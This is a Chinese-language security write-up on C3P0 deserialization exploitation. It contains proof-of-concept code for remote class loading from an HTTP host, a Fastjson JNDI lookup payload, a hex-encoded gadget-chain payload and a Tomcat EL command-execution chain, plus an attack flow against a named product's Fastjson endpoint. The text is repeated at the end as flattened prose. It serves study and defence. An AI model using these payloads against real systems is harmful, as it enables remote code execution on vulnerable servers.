Java安全 - C3P0链原理分析
字数 1366 2025-08-19 12:42:34

C3P0反序列化漏洞分析与利用

1. C3P0简介

C3P0是一个开源的JDBC连接池,实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。连接池技术用于复用数据库连接句柄,避免频繁创建和销毁连接带来的资源消耗。

2. 漏洞环境

  • JDK版本:8u65
  • C3P0版本:0.9.5.2
  • 依赖:com.mchange:c3p0:0.9.5.2

3. C3P0常见利用方式

3.1 URLClassLoader远程类加载

利用链分析

  1. 关键方法ReferenceableUtils.referenceToObject()

    • 该方法实现了类似URLClassLoader的类加载功能
    • 支持多种协议(file/jar/http)
  2. 调用链:

    PoolBackedDataSourceBase#readObject -> 
    ReferenceSerialized#getObject -> 
    ReferenceableUtils#referenceToObject -> 
    ObjectFactory#getObjectInstance
    
  3. 关键点

    • PoolBackedDataSourceBase在序列化时会检查connectionPoolDataSource属性是否可序列化
    • 如果不可序列化,会使用indirector.indirectForm方法处理
    • 最终序列化的是ReferenceSerialized对象

EXP构造

public class c3p {
    public static void main(String[] args) throws Exception{
        PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field f1 = clazz.getDeclaredField("connectionPoolDataSource");
        f1.setAccessible(true);
        f1.set(a,new evil());

        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
        ser.writeObject(a);
    }

    public static class evil implements ConnectionPoolDataSource, Referenceable {
        // 省略接口方法实现...
        
        @Override
        public Reference getReference() throws NamingException {
            return new Reference("evilexp","evilexp","http://127.0.0.1:8888/");
        }
    }
}

3.2 JNDI注入

利用链分析

  1. 关键方法JndiRefForwardingDataSource#dereference()

    • 存在明显的lookup函数调用
  2. 调用链:

    setLoginTimeout -> 
    getNestedDataSource -> 
    dereference -> 
    lookup
    
  3. 利用条件

    • 需要配合Fastjson或Jackson反序列化漏洞
    • 需要设置jndiName属性

Fastjson EXP

String payload = "{" +
    "\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
    "\"JndiName\":\"rmi://127.0.0.1:1099/muogbv\", " +
    "\"LoginTimeout\":0" +
    "}";
JSON.parse(payload);

3.3 HEX序列化字节加载

利用原理

  1. 关键类WrapperConnectionPoolDataSource

    • 构造方法中对userOverrides属性的赋值存在特殊处理
    • 会解析十六进制字符串并反序列化
  2. 处理流程

    userOverridesAsString -> 
    C3P0ImplUtils.parseUserOverridesAsString -> 
    hex解码 -> 
    SerializableUtils.fromByteArray -> 
    ObjectInputStream.readObject
    
  3. 注意事项

    • 需要在十六进制字符串头部加上HexAsciiSerializedMap:
    • 末尾需要加上;
    • 中间是序列化对象的十六进制表示

EXP构造

public class Test {
    public static void main(String[] args) throws Exception {
        String hex = toHexAscii(tobyteArray(CC6()));
        
        String payload = "{" +
            "\"1\":{" +
            "\"@type\":\"java.lang.Class\"," +
            "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
            "}," +
            "\"2\":{" +
            "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
            "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
            "}" +
            "}";
        JSON.parse(payload);
    }
    
    // CC6利用链生成方法...
    // 序列化转换方法...
}

3.4 不出网利用(Tomcat EL表达式)

利用条件

  • 需要Tomcat 8相关依赖环境
  • 利用BeanFactory进行EL表达式注入

EXP构造

public class C3P0_Tomcat8 {
    public static class Tomcat8_Loader implements ConnectionPoolDataSource, Referenceable {
        @Override
        public Reference getReference() throws NamingException {
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
            resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
            return resourceRef;
        }
        // 省略其他方法...
    }
    
    // 序列化和反序列化方法...
}

4. 实战案例分析

云安宝-云匣子config fastjson RCE

漏洞分析

  1. 入口点/3.0/authService/config接口的Fastjson反序列化
  2. 利用方式:使用C3P0的HEX序列化字节加载方式
  3. 依赖版本:Fastjson 1.2.38
  4. 利用链:CC6 + JS引擎加载恶意类

攻击流程

  1. 生成CC6的序列化payload
  2. 转换为十六进制格式
  3. 构造Fastjson payload通过C3P0加载
  4. 最终执行JS引擎中的恶意代码实现回显

5. 防御建议

  1. 升级C3P0到最新安全版本
  2. 避免在不可信环境中使用Fastjson等易受攻击的JSON库
  3. 对反序列化操作进行严格的白名单控制
  4. 网络层面限制出站连接
  5. 使用安全产品监控可疑的JNDI和ClassLoader行为

6. 总结

C3P0反序列化漏洞主要通过三种方式利用:

  1. URLClassLoader远程加载恶意类
  2. JNDI注入
  3. HEX序列化字节加载

每种方式各有特点,攻击者可根据目标环境选择最适合的攻击方式。防御时需要从代码、配置和网络多个层面进行防护。

C3P0反序列化漏洞分析与利用 1. C3P0简介 C3P0是一个开源的JDBC连接池,实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。连接池技术用于复用数据库连接句柄,避免频繁创建和销毁连接带来的资源消耗。 2. 漏洞环境 JDK版本:8u65 C3P0版本:0.9.5.2 依赖: com.mchange:c3p0:0.9.5.2 3. C3P0常见利用方式 3.1 URLClassLoader远程类加载 利用链分析 关键方法 : ReferenceableUtils.referenceToObject() 该方法实现了类似URLClassLoader的类加载功能 支持多种协议(file/jar/http) 调用链: 关键点 : PoolBackedDataSourceBase 在序列化时会检查 connectionPoolDataSource 属性是否可序列化 如果不可序列化,会使用 indirector.indirectForm 方法处理 最终序列化的是 ReferenceSerialized 对象 EXP构造 3.2 JNDI注入 利用链分析 关键方法 : JndiRefForwardingDataSource#dereference() 存在明显的 lookup 函数调用 调用链: 利用条件 : 需要配合Fastjson或Jackson反序列化漏洞 需要设置 jndiName 属性 Fastjson EXP 3.3 HEX序列化字节加载 利用原理 关键类 : WrapperConnectionPoolDataSource 构造方法中对 userOverrides 属性的赋值存在特殊处理 会解析十六进制字符串并反序列化 处理流程 : 注意事项 : 需要在十六进制字符串头部加上 HexAsciiSerializedMap: 末尾需要加上 ; 中间是序列化对象的十六进制表示 EXP构造 3.4 不出网利用(Tomcat EL表达式) 利用条件 需要Tomcat 8相关依赖环境 利用 BeanFactory 进行EL表达式注入 EXP构造 4. 实战案例分析 云安宝-云匣子config fastjson RCE 漏洞分析 入口点 : /3.0/authService/config 接口的Fastjson反序列化 利用方式 :使用C3P0的HEX序列化字节加载方式 依赖版本 :Fastjson 1.2.38 利用链 :CC6 + JS引擎加载恶意类 攻击流程 生成CC6的序列化payload 转换为十六进制格式 构造Fastjson payload通过C3P0加载 最终执行JS引擎中的恶意代码实现回显 5. 防御建议 升级C3P0到最新安全版本 避免在不可信环境中使用Fastjson等易受攻击的JSON库 对反序列化操作进行严格的白名单控制 网络层面限制出站连接 使用安全产品监控可疑的JNDI和ClassLoader行为 6. 总结 C3P0反序列化漏洞主要通过三种方式利用: URLClassLoader远程加载恶意类 JNDI注入 HEX序列化字节加载 每种方式各有特点,攻击者可根据目标环境选择最适合的攻击方式。防御时需要从代码、配置和网络多个层面进行防护。